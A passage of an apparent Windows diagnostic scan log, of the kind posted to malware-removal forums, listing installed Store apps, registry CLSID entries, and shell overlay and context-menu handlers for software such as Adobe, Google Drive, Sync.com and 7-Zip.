HEIC to JPEG (FREE) -> C:\Program Files\WindowsApps\53354DuckheadSoftware.HEICtoJPEGFREE_12.1.5.0_x64__2gc4m0bggm024 [2025-01-13] (Duckhead Software)
HEIC Viewer + -> C:\Program Files\WindowsApps\45907smallapp.HEICViewer_1.0.5.0_x64__z9hw59krvrfng [2024-09-28] (AltTech Solutions)
Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x64__8wekyb3d8bbwe [2022-07-24] (Microsoft Corporation) [MS Ad]
Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x86__8wekyb3d8bbwe [2022-07-24] (Microsoft Corporation) [MS Ad]
OfficePushNotificationsUtility -> C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16 [2025-04-22] ()
Photos Media Engine Add-on -> C:\Program Files\WindowsApps\Microsoft.Photos.MediaEngineDLC_1.0.0.0_x64__8wekyb3d8bbwe [2022-07-24] (Microsoft Corporation)
Realtek Audio Control -> C:\Program Files\WindowsApps\RealtekSemiconductorCorp.RealtekAudioControl_1.3.180.0_x64__dt26b99r8h8gj [2022-07-24] (Realtek Semiconductor Corp)
Sniper Ops 3D Shooter - Top Sniper Shooting Game -> C:\Program Files\WindowsApps\ModernAlchemistsOG.3DSniperKillTerrorShooter2_65.10.1.0_x64__vrs50bw3zqf1m [2022-07-24] (Modern Alchemists OG) [MS Ad]

==================== Custom CLSID (Whitelisted): ==============

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

CustomCLSID: HKU\S-1-5-21-1201572675-2348253938-1805802479-1003_Classes\CLSID\{13357088-9834-0409-1600-134951500000}\localserver32 -> C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe (Adobe Inc. -> Adobe)
CustomCLSID: HKU\S-1-5-21-1201572675-2348253938-1805802479-1003_Classes\CLSID\{1E706259-DEC7-4FAF-BAD5-674D2DB34070}\localserver32 -> "C:\Program Files\CopyTrans Studio\CopyTransStudio.exe" -ToastActivated => No File
CustomCLSID: HKU\S-1-5-21-1201572675-2348253938-1805802479-1003_Classes\CLSID\{2F81B25E-7507-4844-BFF2-77D2CC24CED4}\localserver32 -> C:\Program Files\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe (Adobe Inc. -> Adobe Inc.)
CustomCLSID: HKU\S-1-5-21-1201572675-2348253938-1805802479-1003_Classes\CLSID\{38142727-3008-9161-1521-349515000000}\localserver32 -> C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe (Adobe Inc. -> Adobe)
CustomCLSID: HKU\S-1-5-21-1201572675-2348253938-1805802479-1003_Classes\CLSID\{c17179b4-163d-11eb-ab15-5454d5ccf028}\localserver32 -> "C:\Program Files\Clockify\ClockifyWindows.exe" -ToastActivated => No File
CustomCLSID: HKU\S-1-5-21-1201572675-2348253938-1805802479-1003_Classes\CLSID\{CB965DF1-B8EA-49C7-BDAD-5457FDC1BF92}\InprocServer32 -> C:\Users\Muddy\AppData\Local\Microsoft\TeamsMeetingAddin\1.0.20244.4\x64\Microsoft.Teams.AddinLoader.dll => No File
CustomCLSID: HKU\S-1-5-21-1201572675-2348253938-1805802479-1003_Classes\CLSID\{d1b22d3d-8585-53a6-acb3-0e803c7e8d2a}\localserver32 -> C:\Users\Muddy\AppData\Local\Microsoft\Teams\current\Teams.exe (Microsoft Corporation -> Microsoft Corporation)
CustomCLSID: HKU\S-1-5-21-1201572675-2348253938-1805802479-1003_Classes\CLSID\{e8c77137-e224-5791-b6e9-ff0305797a13}\InprocServer32 -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect64.dll (Adobe Inc. -> Adobe Systems)
ShellIconOverlayIdentifiers: [ GoogleDriveCloudOverlayIconHandler] -> {A8E52322-8734-481D-A7E2-27B309EF8D56} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ShellIconOverlayIdentifiers: [ GoogleDriveMirrorBlacklistedOverlayIconHandler] -> {51EF1569-67EE-4AD6-9646-E726C3FFC8A2} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ShellIconOverlayIdentifiers: [ GoogleDrivePinnedOverlayIconHandler] -> {CFE8B367-77A7-41D7-9C90-75D16D7DC6B6} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ShellIconOverlayIdentifiers: [ GoogleDriveProgressOverlayIconHandler] -> {C973DA94-CBDF-4E77-81D1-E5B794FBD146} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ShellIconOverlayIdentifiers: [ AAASyncNo] -> {CD0DD5EC-23D2-4AE0-A111-C7B89038E695} => C:\Program Files (x86)\Sync\overlay.dll [2024-06-10] (Sync.com Inc. -> Sync.com Inc.)
ShellIconOverlayIdentifiers: [ AAASyncProg] -> {9A1FA446-6778-4A02-883B-3100549CF193} => C:\Program Files (x86)\Sync\overlay.dll [2024-06-10] (Sync.com Inc. -> Sync.com Inc.)
ShellIconOverlayIdentifiers: [ AAASyncRoot] -> {B57A832B-F40A-4A9D-A0F5-49E7D17B8EE4} => C:\Program Files (x86)\Sync\overlay.dll [2024-06-10] (Sync.com Inc. -> Sync.com Inc.)
ShellIconOverlayIdentifiers: [ AAASyncSkip] -> {AFE40DBB-AB20-4979-B0D2-483B6866C8C9} => C:\Program Files (x86)\Sync\overlay.dll [2024-06-10] (Sync.com Inc. -> Sync.com Inc.)
ShellIconOverlayIdentifiers: [ AAASyncYes] -> {9C569020-57C0-4CE0-9605-8AD42F4B1C7F} => C:\Program Files (x86)\Sync\overlay.dll [2024-06-10] (Sync.com Inc. -> Sync.com Inc.)
ShellIconOverlayIdentifiers: [ AccExtIco1] -> {AB9CF9F8-8A96-4F9D-BF21-CE85714C3A47} => C:\Program Files (x86)\Common Files\Adobe\CoreSyncExtension\CoreSync_x64.dll [2025-01-25] (Adobe Inc. -> )
ShellIconOverlayIdentifiers: [ AccExtIco2] -> {853B7E05-C47D-4985-909A-D0DC5C6D7303} => C:\Program Files (x86)\Common Files\Adobe\CoreSyncExtension\CoreSync_x64.dll [2025-01-25] (Adobe Inc. -> )
ShellIconOverlayIdentifiers: [ AccExtIco3] -> {42D38F2E-98E9-4382-B546-E24E4D6D04BB} => C:\Program Files (x86)\Common Files\Adobe\CoreSyncExtension\CoreSync_x64.dll [2025-01-25] (Adobe Inc. -> )
ShellIconOverlayIdentifiers-x32: [ GoogleDriveCloudOverlayIconHandler] -> {A8E52322-8734-481D-A7E2-27B309EF8D56} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ShellIconOverlayIdentifiers-x32: [ GoogleDriveMirrorBlacklistedOverlayIconHandler] -> {51EF1569-67EE-4AD6-9646-E726C3FFC8A2} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ShellIconOverlayIdentifiers-x32: [ GoogleDrivePinnedOverlayIconHandler] -> {CFE8B367-77A7-41D7-9C90-75D16D7DC6B6} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ShellIconOverlayIdentifiers-x32: [ GoogleDriveProgressOverlayIconHandler] -> {C973DA94-CBDF-4E77-81D1-E5B794FBD146} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ContextMenuHandlers1-x32: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} => C:\Program Files (x86)\7-Zip\7-zip.dll [2021-12-26] (Igor Pavlov) [File not signed]
ContextMenuHandlers1: [AccExt] -> {2A118EB5-5797-4F5E-8B3D-F4ECBA3C98E4} => C:\Program Files (x86)\Common Files\Adobe\CoreSyncExtension\CoreSync_x64.dll [2025-01-25] (Adobe Inc. -> )
ContextMenuHandlers1: [Adobe.Acrobat.ContextMenu] -> {A6595CD1-BF77-430A-A452-18696685F7C7} => C:\Program Files\Adobe\Acrobat DC\Acrobat Elements\ContextMenuShim64.dll [2025-03-06] (Adobe Inc. -> Adobe Systems Inc.)
ContextMenuHandlers1: [DriveFS 28 or later] -> {EE15C2BD-CECB-49F8-A113-CA1BFC528F5B} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ContextMenuHandlers1: [SyncComContextShlExt] -> {0dcd9583-eb2f-4e08-a146-885c923c0833} => C:\Program Files (x86)\Sync\rclick.dll [2024-06-10] (Sync.com Inc. -> Sync.com Inc.)
ContextMenuHandlers4-x32: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} => C:\Program Files (x86)\7-Zip\7-zip.dll [2021-12-26] (Igor Pavlov) [File not signed]
ContextMenuHandlers4: [DriveFS 28 or later] -> {EE15C2BD-CECB-49F8-A113-CA1BFC528F5B} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ContextMenuHandlers4: [SyncComContextShlExt] -> {0dcd9583-eb2f-4e08-a146-885c923c0833} => C:\Program Files (x86)\Sync\rclick.dll [2024-06-10] (Sync.com Inc. -> Sync.com Inc.)
ContextMenuHandlers5: [ACE] -> {5E2121EE-0300-11D4-8D3B-444553540000} => -> No File
ContextMenuHandlers5: [DriveFS 28 or later] -> {EE15C2BD-CECB-49F8-A113-CA1BFC528F5B} => C:\Program Files\Google\Drive File Stream\107.0.3.0\drivefsext.dll [2025-04-23] (Google LLC -> Google LLC.)
ContextMenuHandlers6-x32: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} => C:\Program Files (x86)\7-Zip\7-zip.dll [2021-12-26] (Igor Pavlov) [File not signed]
ContextMenuHandlers6: [AccExt] -> {2A118EB5-5797-4F5E-8B3D-F4ECBA3C98E4} => C:\Program Files (x86)\Common Files\Adobe\CoreSyncExtension\CoreSync_x64.dll [2025-01-25] (Adobe Inc. -> )
ContextMenuHandlers6: [Adobe.Acrobat.ContextMenu] -> {A6595CD1-BF77-430A-A452-18696685F7C7} => C:\Program Files\Adobe\Acrobat DC\Acrobat Elements\ContextMenuShim64.dll [2025-03-06] (Adobe Inc. -> Adobe Systems Inc.)
ContextMenuHandlers2_S-1-5-21-1201572675-2348253938-1805802479-1003: [AgentRansack] -> {2AE9D6D8-E348-4853-B266-C78844D31B97} => C:\Program Files\Mythicsoft\Agent Ransack\ShellExt.dll [2020-11-19] (MYTHICSOFT LIMITED -> Mythicsoft Ltd)
ContextMenuHandlers4_S-1-5-21-1201572675-2348253938-1805802479-1003: [AgentRansack] -> {2AE9D6D8-E348-4853-B266-C78844D31B97} => C:\Program Files\Mythicsoft\Agent Ransack\ShellExt.dll [2020-11-19] (MYTHICSOFT LIMITED -> Mythicsoft Ltd)
ContextMenuHandlers5_S-1-5-21-1201572675-2348253938-1805802479-1003: [AgentRansack] -> {2AE9D6D8-E348-4853-B266-C78844D31B97} => C:\Program Files\Mythicsoft\Agent Ransack\ShellExt.dll [2020-11-19] (MYTHICSOFT LIMITED -> Mythicsoft Ltd)
ContextMenuHandlers6_S-1-5-21-1201572675-2348253938-1805802479-1003: [AgentRansack] -> {2AE9D6D8-E348-4853-B266-C78844D31B97} => C:\Program Files\Mythicsoft\Agent Ransack\ShellExt.dll [2020-11-19] (MYTHICSOFT LIMITED -> Mythicsoft Ltd)